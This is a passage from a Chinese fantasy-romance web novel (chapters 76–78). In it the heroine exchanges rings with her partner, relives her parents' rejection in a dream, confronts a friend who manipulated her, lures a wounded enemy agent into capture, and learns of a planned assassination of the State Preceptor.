她站在原地,身后有人叫她。 “染星。” 纪明月双手提着刚才采购的大包小包,有些吃力地跟了上来,气息微喘:“你看到什么了?怎么突然跑下来?” 沈染星猛地回过神,意识到自己的失态。 她冷静了些,摇头:“没什么,好像是看错了。” 她们的东西还没买齐,难得出来一趟,总不能半道就回去。出门前,她们可是答应了院里的不少人,不少妖,给她们带手信的。 两人仿佛什么都没发生过一般,再次钻回了那条热闹非凡的街道,融入熙攘的人流。 傍晚时分,纪明月因在另一处妖院还有事务需要处理,便在城门口与沈染星分道扬镳。 夜幕悄然降临,华灯初上。 马车载着沈染星和一整天采购的成果,缓缓驶回了共生苑。车轮碾过青石板路,发出碌碌的声响。 马车刚在苑门口停稳,沈染星还未下车,车帘便被人从外面掀开。 白尘烬那柔和似水的灰蓝眼眸,突然出现在眼前。 他似乎早已在此等候。 “回来了。”他声音低沉,伸手,接过她手中大大小小的包裹。 “嗯。”沈染星应了一声,借着车厢内昏暗的光线,偷偷打量着他的神色。他看起来与平日并无不同。 她将东西递给他,准备抽回手时,白尘烬却就着接过东西的动作,顺势握住了她的手腕。 他的指尖温热,力道很重。 眉头蹙起,在苑门悬挂的灯笼光线下,那双眼眸瞬间布满了寒霜,目光紧紧锁在她纤细的手腕上方。 那里,有一道拇指大小,已经微微泛红起泡,烫伤痕迹在雪白肌肤的映衬下,刺眼极了。 “这是怎么回事?”他抬起眼,认真凝视着她,“烫到了?什么时候的事?疼吗?” 他的询问一连串砸下来,沈染星反应有些迟钝的低头,伸手碰了一下那伤痕,果然传来清晰的痛感。 “没事,不小心碰了一下……” 白尘烬不再多言,一手提着东西,另一只环过她腰,把她抱下马车。 他把她带回了房里。 回到温暖如春的房内,白尘烬将东西随手放下,径直去翻找了药箱出来。他冷着脸,在沈染星身边坐下,捉过她受伤的手,轻轻给她处理伤口。 先前在寒冷的屋外,到也还算没察觉有多严重,如今进到暖房里,变得又痒又痛。 沈染星下意识地想缩回手挠一下,却被他更紧地握住。 “别动。”他头也没抬,声音低沉,“马上就好,处理好后,我得再出去一趟。” 沈染星心一跳,脱口而出:“你可以不去吗?” 第76章 那颗妖丹,真的还在吗?…… 白尘烬抬眼:“为什么?” 他的眉眼在烛光下, 格外深邃,那双灰蓝色的瞳仁仿佛融化的冰川,漾着细碎温暖的微光。平日里冷硬的线条此刻全然软化,专注凝视着她的时候, 仿佛她是这世间唯一值得他珍视的瑰宝。 这份温柔太过醉人, 带着一种蛊惑人心的力量。 沈染星心头一颤, 几乎要将下午所见,以及心中的疑虑,和盘托出。 可她还是没能说出口:“不为什么, 就想你留在这里。” “染星, ”他唤她的名字, 语调轻柔,却带着审视,“你有些奇怪,今日在外头,是遇见什么事了吗?” 随即, 指尖轻轻抬起她的下巴, 让她无法避开自己的目光。 他的声音太温柔, 眼神太专注, 仿佛无论她说什么,他都会全然接纳,真实的话语在沈染星舌尖滚动。 然而,话到嘴边,终究还是转了个弯。 幼时那些因坦白而引来更麻烦后果的记忆, 如同条件反射般让她怯步,本能地选择了回避。 “没什么……”她避开他探究的目光,垂下眼睫, 白尘烬静静看了她片刻。 沈染星心跳如擂鼓。 但他最终没有追问,只是依言应了一声:“好。” 沈染星暗暗松了口气:“我今日买了样东西送你。你把今日采买的东西都拿过来。” 白尘烬转身,将放在一旁的几个包裹都提到了她身前的矮几上。 其中一个包裹装着零碎玩意儿的,隔着布料,可看出凹凸不平。 沈染星盘腿坐在榻上,埋头在里面翻找起来。 翻了小半天,总算从一堆香囊、玉簪和小摆件底下,翻出了一个朴素的深棕色木匣子。 “你看看。”她将木匣子递到白尘烬面前。 白尘烬接过,打开匣子。 里面铺着柔软的黑色绒布,上面静静躺着一对戒指。 戒指是某种不知名的玉石打磨而成,颜色是温润的灰白色,夹杂着天然、如同星云般的墨色纹路。 做工算不上精致,甚至有些粗犷,戒圈打磨得并不完全圆润,上面雕刻的图案也颇为古怪,一看便是妖域之物。 沈染星看着他,解释道:“我在逛集市时,恰好看到这一对戒指,觉得又特别,又好看。刚好你一个,我一个。” 为什么要买? 其实她也说不清自己那一刻的心意。 或许只是想用某种方式,在他身上留下属于自己的印记;或许只是在那喧嚣的集市上,看到这对独特的对戒时,心头莫名涌起的冲动与喜欢。 白尘烬刚从匣中取出一枚戒指,沈染星便伸出手去。 他捏着戒指,打算为她戴上。 试了试,戒圈明显有些大了。 自然而然地想将戒指戴在她的大拇指上,权当个扳指。 沈染星却将手缩了一下,躲开了他的动作。 然后,她伸出自己的无名指,轻轻点了一下他手中那枚戒指,仰起脸看他:“这个。” 白尘烬微微一怔,目光在她无名指和那枚灰白色的戒指之间流转。 他点了点头,执起她的左手,缓缓套在了她纤细的无名指上。尺寸果然有些松垮,但勉强能卡在指根。 戒指戴上的一刹那,沈染星脸上绽开了明媚的笑容。 她拿起匣中另一枚戒指,拉过白尘烬的手。本想也戴在他的无名指上,却发现戒圈对于他骨节分明的手指而言,又显得有些小了。 她试了试,最终只能妥協,将戒指轻轻推到了他修长的小指上。 白尘烬一向很喜欢看她认真专注的模样。 灯下看美人,愈看愈心醉。 她睫毛浓密,微微卷翘,在眼下投下柔和的阴影,挺翘的鼻尖泛着微光,柔软的唇瓣因为专注而微微抿着,嘴角却自然上扬。 整个人笼罩在温暖的光晕里,认真又郑重,为他戴上戒指,美好得不像话。 戴好戒指,沈染星抬起头,白尘烬俯身侧头,去寻她的唇- 沈染星看见自己穿着一身蓝白条纹病号服,独自坐在医院走廊冰冷的不锈钢椅子上,手背上贴着胶布,埋着暗蓝色的留置针头,冰凉的药液正一点点输入她的血管。 周遭是嘈杂的人声,消毒水的味道刺鼻,隔壁座位上一对母子正在低声聊天。 母亲温柔地抚摸着儿子的头发,语气笃定地说:“傻孩子,别胡思乱想,天底下哪有不爱自己孩子的父母呢?” 她想起来了。 这是十四岁那年的冬天。 那时,她的父母已经分开整整十年。 听了这句话,她茫然地想:居然是这样吗? 如果真是这样的话,那为什么他们为什么不来接她出院? 护士姐姐明明说她的病情已经稳定,可以回家了。 这个疑问,在元宵节的前一日,达到了顶峰。 那日,犹豫再三,她攥着手机,辗转乘车,找到了母亲再婚后居住的地方。 开门的刘嫂认出她,脸上闪过一丝惊讶和为难,但还是将她迎进了屋里。 富丽堂皇的客厅温暖如春,与外面的寒冷仿佛是两个世界。 母亲、继父,还有那个同母异父的弟弟,正围坐在沙发上,其乐融融地分享着刚从高级餐厅带回来的甜品,空气中弥漫着甜腻的奶油香气。 她的突然出现,瞬间打破了所有的和谐。 说笑声戛然而止,三道目光齐刷刷地落在她身上,刺得她几乎要立刻逃走。 可她还是定住了身子。 并且,就在这死寂的尴尬中,她的肚子不合时宜地“咕噜”响了一声。 她这才想起,为了赶路,她连午饭都没吃。 空气仿佛凝固了。 还是那个弟弟率先嗤笑出声:“哈哈,你居然没吃饭呀?不会是想来我们家要吃的吧?” 其实,在金钱方面,父亲母亲虽然疏于关怀,但在医药费、生活费上并未苛待她。 她没有吃饭,仅仅是因为辗转于两个城市,耗费了整整六个小时,打车的费用也几乎花光了她所有的零用钱。 可母亲并没有问她缘由,听到弟弟的话,脸色瞬间沉了下去,变得无比难看。 沈染星看到那时年幼的她,面色有些慌张,以为母亲是相信了弟弟的话。 如今她再回想,或许母亲那瞬间的变脸,根本与缘由无关,仅仅是因为她的出现本身,就打搅了母亲好不容易重建起来的的幸福生活。 后来,母亲冷着脸,将她带到了二楼的客房。 门一关上,母亲便压抑着怒气质问她:“谁让你过来的?为什么不提前说一声?” 她没有直面母亲的怒火,只是问出了盘踞在心中许久的疑问。 母亲明显愣了一下,语气平静又残忍:“不是。” 她看着她,一字一句:“我一点都不想见到你。你和你爸长得越来越像了,我讨厌看到你这张脸。如果可以,请你以后不要再来找我了,我的生活很好,不希望被打扰。” 这一番话语渐渐远离,虚化,与不久前父亲在电话里不耐烦的推诿,交织在一起,如同几乎重合在一起,灌入她耳朵,疯狂震动。 震得她心脏狂跳,震得她脑子嗡嗡作响,更是直接把她震醒了。 沈染星猛地睁开眼。 眼前是乌黑暗沉帐顶,她茫然了一瞬,才意识到刚才那一幕,不过是多年前往事在梦中的重演。 想不到时隔多年,还会如此清晰地梦到那些事。 她轻轻叹了口气,翻了个身,习惯性地想靠近身边那个温暖的热源。 然而,手一搭,搭了一个空。 身侧的位置已经空了,连余温也不曾留下。 屋外寒风凛冽,发出呜呜的声响- 天亮后,天色灰蒙蒙的,带着一夜寒风后的清冷。 沈染星心中记挂着乔阿盈,早早便去了她和石多磊居住的院落。 不料,院子里气氛低沉压抑,仆从来去匆匆,脸上都带着忧色。 一问才知,乔阿盈昨夜胎像突然不稳,腹痛难忍,折腾了整整一宿,石多磊心急如焚,又是请大夫又是亲自照料,几乎一夜未合眼。 直到天快亮时,乔阿盈才勉强睡下。 沈染星轻手轻脚地进去探望。 乔阿盈躺在床榻上,脸色苍白如纸,眼下有着浓重的青影,即便在睡梦中,眉头也微微蹙着,显然极不安稳。 她没忍心打扰,只在床边静静坐了一会儿。 才站起身,乔阿盈竟然醒转过来,一阵强烈的孕吐袭来,吐得翻江倒海。 沈染星没经历过此番场景,照顾起人来,有些手忙脚乱。 石多磊听闻动静,连忙进来,看见此状,心疼得不行,一边忙着安抚妻子,一边催促下人再去熬安胎药。 场面混乱,石多磊忙得脚不沾地,见沈染星在这里,还要抽空顾一下她。 沈染星知道自己留在这里也帮不上什么忙,反而添乱,便轻声嘱咐了石多磊几句,让他好生照顾,若有需要随时去找她,然后便退了出来。 刚走出院门,看见纪明月站在不远处的一株梅树下,似乎正等着她。 晨光熹微中,纪明月的身影显得有些单薄,神色是一贯的清冷。 沈染星走上前,率先开口:“明月,你也来看阿盈吗?她昨晚不舒服,折腾得厉害,早上才睡下,现在可能不太方便见客。” 纪明月摇了摇头:“不是,我是来找你。” 沈染星脚步一顿,看着纪明月,沉默了片刻,才缓缓问道:“昨天那家茶楼,是你特意选的。那个雅间,也是你提前和茶楼预定好的吧?” 纪明月似乎没料到她会如此直接,愣了一下,下意识地想要否认。 但沈染星没有给她机会,继续道:“那家茶楼生意火爆,说书先生又是一绝,昨日我们到时已近午后,大堂早已人满为患。按理说,雅间应当早已订满,怎么会偏偏还剩下一间,而且还是恰好能俯瞰到某处的雅间?” 纪明月知道再隐瞒已是徒劳,抿了抿唇,终是承认:“是,是我安排的。” “为什么?” “因为你需要看清,萧霁雪和白尘烬,他们自小便认识,甚至在国师那里一起遭受过非人的折磨,他们是真正的共患难,那段岁月淬炼出的情谊,是你这个后来者,这个甚至顶着国师弟子身份的人,不能够轻易比拟的。” 沈染星的心猛地向下坠去,像是坠入了无底寒渊。 然而,纪明月的话还未停止,她看着沈染星略白的脸色,暗暗吸了一口气,心一狠:“你以为白尘烬为什么能活到现在?当年若不是萧霁雪,他早就死了。 萧霁雪在自己也身中奇毒,朝不保夕的情况下,依旧强撑着安慰的幼年他,为了让他有个念想,有个能暂时逃离痛苦的精神寄托,他们甚至偷偷找了一个只属于他们两个人的地方,他们管那处叫做……” 忘忧山? “忘忧山。” 沈染星脑中的想法,与纪明月的声音一同响起。 纪明月看着她略走神的眉眼:“那忘忧山,其实只是御妖台后山一个不起眼的小山坡,后来被国师发现了,毫不留情地派人给铲平了。可是,山可以被铲平,记忆呢?那些共同经历记忆,是刻在骨子里的,别说是萧霁雪这个人再次出现,即便是仅仅提到‘忘忧山’这三个字……” “你为什么要告诉我这些?”沈染星打断她。 她不想听下去了。 她看着纪明月,胸口微微起伏:“我已经在很努力地粉饰太平了,我很努力地把那些猜忌、那些不安都压下去,只想守着眼前这点平静,你为什么非要把一切都拆穿? 把那些血淋淋的过去摊在我面前。你是想让我觉得自己像个外人吗?是想让我无家可归,无处可去吗?” 纪明月连忙解释:“我知道有一处地方,远离方圆镇,可以暂时躲避即将到来的战乱……” “我不需要。”沈染星道,“我知道你是想让我离开。但是,我要不要离开,什么时候离开,该由我自己来做决定,我不需要你背着我,来做这些所谓的为我好的安排……我也不需要你。” 纪明月上前一步,抓住她的手腕:“染星,你听我说,你先去那边避一避,雪拂已经被我支到那边……” “你怎么把雪拂引过去的?” 沈染星这一句话直接刺过来,纪明月呼吸一滞。 “用他那颗丢失多年,一直苦苦寻觅的妖丹作为诱饵吗?”沈染星慢慢抽出自己的手,盯着她眼睛,一字一句道: “可是,那颗妖丹,真的还在吗?” 第77章 不会伤害我,可没说过不…… 纪明月瞳孔微缩:“什么意思?” 沈染星看着她的脸:“你难道从未深思过, 国师指使你们四处搜罗,甚至不惜强取豪夺各类妖丹,究竟是为了什么?真的是为了所谓的研究或制衡吗?不,他是为了直接吸取妖丹里面精纯的力量, 用以壮大自身力量。” 纪明月瞳孔微缩, 似乎不愿相信。 国师虽说手段狠辣, 可一向嫉妖如仇,又怎会利用妖丹吸取妖力。 沈染星向前逼近一步:“可这种靠掠夺而来的力量,毕竟不是自身苦修产生, 难以长久维系。所以他才需要源源不断地让人给他送去新的妖丹, 而像雪拂那样修炼了数百年, 灵力精纯深厚的大妖内丹,一颗便足以让他支撑数十年之久,他又怎么不觊觎?怎么不处心积虑?” “所以,在你把雪拂的妖丹交给国师的那一刻,你就应该明白, 雪拂他, 再也回不去了!他这辈子, 只能做一个妖力尽失, 连自保都困难的残妖。甚至可能因为失去妖丹本源,身体无法承受任何一点妖力波动,稍有不慎便会衰竭而死。纪明月,这一切,都是你的杰作。” 纪明月脸色煞白, 嘴唇微微颤抖。 沈染星没给她缓冲时间,接着道:“我和你才相处多久?我都能猜到,你当初设计靠近雪拂, 根本就是受了国师的指使,你的目标从一开始就是他体内那颗妖丹。” 纪明月抿紧了苍白的唇,半天说不出一句话来。 沈染星倒是有说不完的话:“纪明月啊纪明月,你那么聪明,心思缜密,又怎么会想不到这些?你只是不愿意去想,不敢去拆穿。你贪恋如今在这里看似平静的生活,所以你宁愿糊涂地活着。” 纪明月胸膛起伏几下,终于说话了,声音沙哑:“我全家……皆受妖物所屠,满门喋血,我这条命是国师给的,他的命令……我不能不从。” “妖物屠你满门?”沈染星道,“你或许一直很疑惑,为什么一些被视为十恶不赦的妖,反而有情有义,甚至比许多人类还要善良,还要重情。那么,你就从来没有想过,当年国师恰好路过,救下你,真的就只是一场巧合吗?” 纪明月呼吸一窒:“我是罕见的妖能者,天生对妖族有特殊的感应和压制力,正是因为这份能力,才招致了强大妖物的恐惧和报复,引来了灭门之祸。” 这是深植于她心中多年的认知,是支撑她走下去的信念,也是她对妖族根源。 “妖能者受妖族恐惧,所以此处有妖物专门狙杀妖能者……”沈染星声音不大,“谁和你说的?你确定……这是真的吗?” 纪明月浑身一震。 自从进入御妖台,成为国师的弟子,她便被灌输了这个观念,周围所有人也都对此深信不疑。 她很少,也几乎不敢与旁人如此推心置腹,探讨这些问题。 沈染星其实是了解纪明月的,也知道她的软肋和痛点在哪里,知道用什么样的话语,最能攻击到她最脆弱、最不愿意面对的地方。 她本以为这番连消带打,直戳痛处的反击,能让自己出一口恶气。 然而,当所有尖锐的话语说完,看着纪明月失色的脸,沈染星心中却没有预想中的快意恩仇,反而有些疲惫。 顿觉索然无味。 她不再看纪明月,径直抬脚,目不斜视经过纪明月,朝外走去。 纪明月僵在原地,只觉得浑身冰冷。 她一生坎坷,年少遭逢巨变,心扉紧闭,真正交付出真心的,唯有二人。 一是那个与自己立场势同水火,却一次次落入她温柔陷阱,对她言听计从的狐妖雪拂; 二便是眼前这个,许她容身之处,让她体验到寻常人是如何生活、如何相处,给予她温暖与信任的沈染星。 雪拂总会被她牵引,她以为……沈染星或许也会是这样的。 她会理解自己的苦衷,会听从自己的安排,离开这是非之地,安全地活下去。 可根本不是。 沈染星不会顺从她的摆布,她只会手持一把利刃,精准而狠决,插进她的心脏里,将她一直以来的坚持和伪装,剥得鲜血淋漓。 看着沈染星越走越远,纪明月嘴唇蠕动,终是开了声: “我没有想过要害你。” 沈染星顿住脚步,转身看她。 纪明月道:“你夹在双方中间,若是听从国师的话,便会与白尘烬反目成仇,他那样的人,绝不会放过你,若是不听从国师的话,国师最是忍不得别人的背叛,他手段通天,也定然不会放过你。 “染星,你只有离开,彻底避开这里的一切,才可能全身而退,我已经想好了,若是此番国师胜了,我会尽全力,保下你性命。若是国师败了,白尘烬亦能护你周全。” 沈染星静静地听着,脸上没有任何表情。 直到纪明月说完,她才缓缓垂下眼睫,没说什么,直接离开了。 她心神不宁,漫无目的地走在街上。 走过一个僻静的街角时,突然,一个黑影猛地从旁边窜了出来,直直朝她撞来。 沈染星正走神,这突发情况根本来不及思考,身体已然先于意识做出了反应。 她条件反射地侧身,一手格挡住来者,另一只手顺势一带,同时利落地抬脚,朝着那黑影的下盘精准地踹了过去。 “嘭”一声闷响。 那黑影如同射出的箭上,整个人倒飞出去,重重砸在了巷子斑驳的墙壁上,然后软软地滑落下来。 可见,这一脚是使足了力道的。 沈染星自己都愣住了,目瞪口呆地看着自己的手和脚。 她刚才那一套动作行云流水,力道更是出乎意料地强劲。 想不到……这原身的功夫底子居然这么强? 不过转念一想,原主毕竟是能暗算白尘烬,差点要他命的人,又能弱到哪里去? 只是自己穿越过来后,从未真正动用过这具身体潜藏的力量罢了。 “哎哟哟……”巷子里传来一声声痛苦的呻吟,打断了沈染星的思绪。 她这才注意到那个被自己踹飞的人,似乎是个……衣衫褴褛的老乞丐。 她心下愧疚,连忙快步走过去,蹲下身想要将人扶起来:“对不住,对不住,您没事吧?我刚刚不是故意的……” 她的手刚一触碰到这老乞丐的胳膊,便感觉到一片异常的濡湿和粘腻。 沈染星低头一看,赫然发现自己的掌心沾满了暗红色的血迹。 她低呼一声。 这老乞丐怎么浑身是血?! 她只是情急之下踹了一脚,按理说不至于造成这么严重的开放性创伤吧…… “你这是怎么了?伤到哪里了?”她连忙追问。 老乞丐喘着粗气,抬起一张脏污不堪的脸,气息微弱地道:“沈东家……是我……云阔……” 云阔? 沈染星在脑海中快速检索了这个名字,随即眼神一凛。 这不是国师的那个得力手下吗? 之前还想联合那只大鹏妖设计陷害自己来着。 不是什么好东西! 于是,她搀扶的手,立刻毫不犹豫地松开了。 云阔本就多日未曾饱腹,又身受重伤,一路躲避白尘烬等人的追杀早已是强弩之末,刚才挨了沈染星结结实实的一脚,更是雪上加霜,根本没有力气自己站起来。 沈染星这么一松手,毫无悬念,他再次重重摔回冰冷的地面。 “哎呦——”又是一声痛彻心扉的哀嚎。 沈染星站起身,警惕地看着他,眼神里再无半分同情。 云阔疼得龇牙咧嘴,却还强撑着朝她挥手,语气带着一种理所当然的命令:“我知道你是国师的弟子……快扶我起来,是自己人。” 沈染星见云阔语气笃定,完全不似作伪,是真把她当成了可以信任的自己人,心中冷笑,面上却不动声色,再次伸手将他搀扶起来。 云阔借着她的力道,龇牙咧嘴地站稳,嘴里却一刻不停地骂骂咧咧,仿佛要将这些时日积攒的恐惧和怨气全部倾泻出来。 “白尘烬那个该死的狗东西,仗着有几分蛮力,竟敢将我们逼至如此绝境,等着吧,待我联系上国师大人,定要将他千刀万剐,碎尸万段。” 沈染星默默听着,扶着他慢慢朝一个方向挪动,并未搭话。 云阔越说越激动:“他把你困住的那段时日,竟和萧霁雪那贱人,还有不知从哪里冒出来的一只大妖联手,里应外合,将我们在此地的势力连根拔起,此仇不报,誓不为人!” 沈染星问道:“这仇,怎么报?” 云阔咬牙切齿道:“自然是让他们求生不得,求死不能。” 沈染星点了点头:“好。” 云阔一瘸一拐地走着,为了躲避无休止的追杀,他不得不扮作最底层的乞丐,过了好一段忍饥挨饿,人人可欺的日子。如今自以为找到了组织,联系上了同门,那压抑已久的的傲慢又渐渐抬头,开始趾高气扬起来。 “还有纪明月那个吃里扒外的贱蹄子,”他将矛头转向了纪明月,“别以为我不知道她早已与国师离心,若不是她屡次延误时机,阳奉阴违,我们此番行动又怎会败得如此彻底。待到日后清算起来,有得她好受!” 沈染星附和着点头:“是,有的她受。” 国师为了牢牢掌控权力,刻意不让手下之人交往过密,因此云阔与原身其实并未见过几面,甚至连沈染星真实的姓名背景恐怕都不甚清楚。 在云阔的认知里,她只是个资历尚浅的弟子,地位远不如他这种自幼跟随国师打拼的元老。 见沈染星如此顺从,云阔长期浸淫在权力阶梯中,那养成的优越感又冒了出来。 他瞥了一眼身旁低眉顺眼的沈染星,从鼻子里哼出一声:“你方才虽鲁莽,踹了我一脚,但念在你及时发现我,并施以援手,也算有功。我便大人有大量,不重罚你了。” 沈染星一听,简直叹为观止。这人的脸皮是有多厚? 性命都攥在别人手里了,居然还敢端架子说不重罚? 她强压下翻白眼的冲动,好声好气地应下。 云阔满意地又多看了她几眼,见她容貌秀丽,性子似乎也柔和听话,心中动起了歪念头—— 若是日后向国师讨要,将她赏给自己,似乎也不错。 他正暗自盘算着,鼻尖忽然嗅到一股浓郁的药草气味。 抬头一看,赫然看见头顶悬着一副黑底金字的招牌——济世堂! 这地方他再熟悉不过,分明是白尘烬麾下的一个重要据点,之前没少帮着白尘烬清剿他们的人。 云阔心头猛地一惊,冷汗瞬间就下来了。 “快走,这里是他们的地盘,我们得赶紧离开!” 然而,沈染星的手臂却像铁钳一样,牢牢地箍住了他,让他难以挣脱。 她脸上非但没有惊慌,反而露出一副胸有成竹的模样,安抚道:“放心,里面的人不会伤害我的。” 云阔挣扎的动作一顿,惊疑不定地看着她笃定的神色。 沈染星没想到,云阔看着重伤虚弱,挣扎起来的力气却还不小,她差点没拉住。 于是又放缓了语气:“你身上伤势不轻,如果不及时处理,伤口恶化,恐怕会留下严重的病根。” 云阔看着她真诚的眼神,犹豫了片刻。 就在他心神松懈,抵抗稍减的瞬间,沈染星连拖带拽,将他扯进了济世堂的大门。 济世堂内,药香浓郁,混合着淡淡的消毒草药气味。 伙计们穿着干净的衣衫,有条不紊地抓药,碾磨,偶尔有病人低声交谈,氛围平静。 一名机灵的伙计见有人搀扶着个浑身血迹的人进来,立刻迎上前。 他刚要伸手帮忙搀扶那个伤者,沈染星却抬手轻轻一挡,阻住了他的动作。 “我要见冯维翰。” 她声音不高,那伙计却心中一凛。 他很少听人直呼管事大名,不动声色地迅速打量了沈染星一眼,见她虽衣着寻常,但气度从容,眼神清亮坚定,绝非寻常女子。 目光再扫过她搀扶的那个老乞丐时,伙计心中更是巨震。 这人他认得,正是被少爷下令全力追剿的国师心腹,云阔。 伙计虽未见过沈染星本人,但关于这位让自家少爷性情大变的沈东家的事迹,早已在内部传开。 此刻见她竟如此从容地将重伤逃窜的云阔带了过来,心中莫名地就确定了她的身份。 甚至暗暗惊叹: 不愧是少爷看上的女人,果然非同一般! 伙计面上不显,一边示意同伴快去请冯管事,一边侧身引路:“好,请随我来内室稍候。” 沈染星便半扶半架着云阔,跟着伙计穿过前堂,朝着内院走去。 此刻云阔的内心,远比这伙计的波涛汹涌。 他万万没想到,沈染星居然在白尘烬身边混到了如此地位,竟能在这龙潭虎穴般的据点里如此自如。 难怪之前白尘烬要将她囚禁起来,难怪那次以她为饵设局时,白尘烬会那般暴怒失控…… 三人各怀心事,沉默地沿着走廊向内走去。 廊道幽深,两旁偶尔有紧闭的房门,不知作何用途。 才刚转过一个拐角,异变突生。 几道黑影毫无预兆,从两侧的阴影中疾窜而出,动作快得只留下残影。 沈染星这次有了心理准备,只是心脏微微一提,并未太过惊慌。 那几道身影的目标明确,直指云阔。 不过眨眼之间,训练有素的他们已利落地制住了云阔的所有反抗,伴随着令人牙酸的咔嚓声,干脆利落地卸掉了他的双臂关节。 “啊——!” 云阔发出一声凄厉的惨叫,剧烈的疼痛让他瞬间冷汗淋漓。 一阵短暂而高效的混乱过后,云阔才从剧痛和震惊中回过神。 他猛地抬头,不可置信地看向沈染星,她正被那几名突然出现的护卫严密护在身后。 顿时目眦欲裂:“你不是说……” 话才说了一半,他猛地顿住,瞬间明白了。 沈染星从一开始就没打算救他,她根本就是伪装。 沈染星眉眼弯弯,笑得可爱又无害,接过他的话:“我只是说,里面的人不会伤害我。可从来没说过,他们不会伤害你。” “你……你这个叛徒!贱人!”云阔恶狠狠地盯着她,发出癫狂的大笑,“你以为你攀上白尘烬,背叛国师,就能高枕无忧了吗?你以为——啊!!” 他的话再次被一声痛呼打断。 冯维翰不知何时,已从转角处慢悠悠地踱步出来,显然觉得云阔太过呱噪,直接一拳,重重击在了云阔的腹部,让云阔瞬间蜷缩如虾米,再也说不出一个字。 随即,又恢复了那副儒雅商贾的模样。 “带下去,仔细看管。”他淡淡吩咐道。 立刻有人上前,如同拖死狗一般,将彻底失去反抗能力的云阔拖了下去。 处理完云阔,冯维翰这才整了整衣袖,走到沈染星身前。 他微微俯身,态度客气却疏离:“沈东家,此番多谢您帮忙擒获此人。不知可否借一步说话?” 第78章 改道去城外的寺庙 沈染星点了点头。 冯维翰引着她, 来到了走廊尽头一间静室。 室内陈设简洁,一张花梨木圆桌,几把椅子,靠墙的多宝架上摆放着一些瓷器和古籍, 燃着淡淡的宁神香, 白烟袅袅从兽形香炉中升起。 两人落座后, 冯维翰没有过多寒暄,直接切入正题,语气沉凝:“沈东家, 你了解少爷身上的那些图腾吗?” 沈染星轻轻摇头。 先前她其实也问过冯维翰, 只是当时在白尘烬面前, 他不愿多说。 冯维翰看着她,缓缓道:“那是他体内那股非人力量的显现,当他力量失控,或者需要耗费极大心力去压制那股力量时,那些图腾便会浮现, 范围越广, 颜色越深, 代表情况越糟糕。” 这些沈染星看书时并未注意细节, 但通过这段时间的观察,早已大致猜到。 此刻听冯维翰亲口证实,不知为何,心中很不是滋味。 不过,她很快便明白了。 冯维翰继续道:“幼年时, 少爷完全不懂得如何控制那股与生俱来的狂暴力量,险些酿成大祸。后来被送到国师处……借助一些特殊手段进行压制。那时,萧霁雪也在国师座下。 即便她自己尚且年幼, 且身中奇毒,她却一直在少爷身边陪伴。在那段最难熬的日子里,因为她的存在,少爷周身的纹路一度被压制,仅剩上半身可见。后来,他跟随云游道人师父离开,学习掌控之法,心境渐稳,那些图腾更是可以完全隐去,与常人无异。” 香炉白烟袅袅,沈染星的目光落其上,没有回应。 冯维翰话锋一转:“可是前些日子,自从少爷与你……身上的情况,便开始再次恶化了。如今,图腾的范围,想必您也看到了。” 他没有明说,但那话语中的指向,已经清晰地传达了他的意思。 沈染星垂下眼帘。 站在冯维翰,或者说站在白尘烬所有忠诚下属的立场上来看,自己的确显得无比可疑。 一个身份不明,曾是敌对阵营弟子的女人,接近了他们力量强大却隐患重重的少爷,然后少爷的力量就开始失控、恶化…… 这若作为一个细作的任务来看,简直是合理得不能再合理了。 沈染星压下心中的惊疑,问道:“白尘烬今日去哪里了?” 冯维翰看着她略略紧绷的神色,沉默一瞬,还是如实相告:“少爷他……去刺杀国师了。” 刺杀国师?! 沈染星瞳孔骤缩,几乎以为自己听错了。 这时间线不对,剧情线也不对! 在原书的描述中,白尘烬、萧霁雪他们与国师的斗争一直是在暗处进行,是长期的拉锯与瓦解,通过断其资源,剪其羽翼等方式,慢慢削弱国师的势力,直到最后时机成熟才给予致命一击。 从未有过如此激进,直接正面刺杀的行为。 而且,国师远在上京,即便日夜兼程赶路,也需要至少五六日才能抵达。可白尘烬从未对她提及要离开这么多日…… 沈染星:“国师……如今在哪里?” 冯维翰不由得多看了沈染星几眼,眼中闪过一丝惊叹。 难怪少爷会栽在她身上,这女子心思竟灵巧敏锐至此,只需一点信息,便能立刻推演出最关键的核心问题。 “国师已经亲自南下了,暂宿在伏妖居。”他不再隐瞒。 “他为什么要亲自过来?”沈染星追问,心头不祥的预感越来越重。 “因为他急了。”冯维翰语气沉重,“国师已五百余岁,把持朝政近百年,根基深厚,势力盘根错节。他大概从未想过,自己有朝一日竟会被一群他眼中的小辈,逼到不得不亲自出手的地步。” 沈染星吞咽了一下,感觉喉咙有些发干:“与他一同前去刺杀国师的,还有谁?” 冯维翰道:“萧霁雪,以及她身边的那头妖,墨临渊。” 果然。 沈染星脑子嗡地一声,空白了一瞬。 果然什么都没变。 无论她如何努力,如何试图改变,剧情强大的惯性,还是将她排除在外,硬生生地扳回了正轨。 冯维翰见她脸色发白,补充道:“萧姑娘其实也觉得此举太过冒险,成功的几率渺茫。” 向来昨日他们再街角处,是在谈此事。 “昨日她还特意去劝过少爷,希望他能从长计议。可少爷根本听不进去,一意孤行。萧姑娘担心他独自前往太过危险,无法阻拦,只好一同前去,至少能有个照应。” 沈染星觉得自己呼吸有些困难,缓慢而深地呼吸着。 他为什么要如此急切地去刺杀国师? 是为了她吗? 还是为了……萧霁雪? 白尘烬放她出来后,她几乎将全部精力都投入了共生苑的扩张,商业版图已经不小,间接影响了国师获取资源的渠道。 之前国师也确实针对过她,以她为诱饵对付白尘烬,或许,他是不想她再受威胁…… 冯维翰打断了她尚存的一丝幻想:“少爷具体的心思,我不敢揣测,也无法揣测。只是前些日子,国师的人,设计伤了萧霁雪。” 沈染星只觉得嘴角控制不住地往下垮,她用力抿紧了唇,一时间竟无法开口说话。 冯维翰看着她烟眉轻蹙,垂着眼。 他不自觉地放轻了声音:“其实,这或许没有直接的因果关系。” 沈染星忽然抬起眼:“你一直在监视我,对吗?那你应该很清楚,这些时日,明里暗里护着我的,都有哪些人?” 冯维翰一怔。 他确实一直在监视她,一方面是受命保护,另一方面也是初期对她的不信任。可他没想到,她会如此直白地点出来。 他无奈地笑了笑,既然被点破,便也不再隐瞒:“我这边的人手自不必说。国师一派中,似乎也有人在对您进行某种程度的保护,此外,还有秦昭堂主的势力,甚至……有段时日,我们还发现了一条行踪诡秘的蛇妖……” 连冯维翰也是第一次见到这样矛盾的人,能让多方势力既提防戒备,又都不约而同护起来。 沈染星沉默片刻,又问:“以你判断,国师如今的实力如何?” 冯维翰神色凝重:“现下,我国师实力深不可测,积攒了数百年的修为,加上他那些诡异莫测的手段,可以说是当世无人可与之匹敌的存在。” 白尘烬冒着如此巨大的风险,如此急切,甚至不惜性命,真的是……为了那个被那么多人护着的她吗? 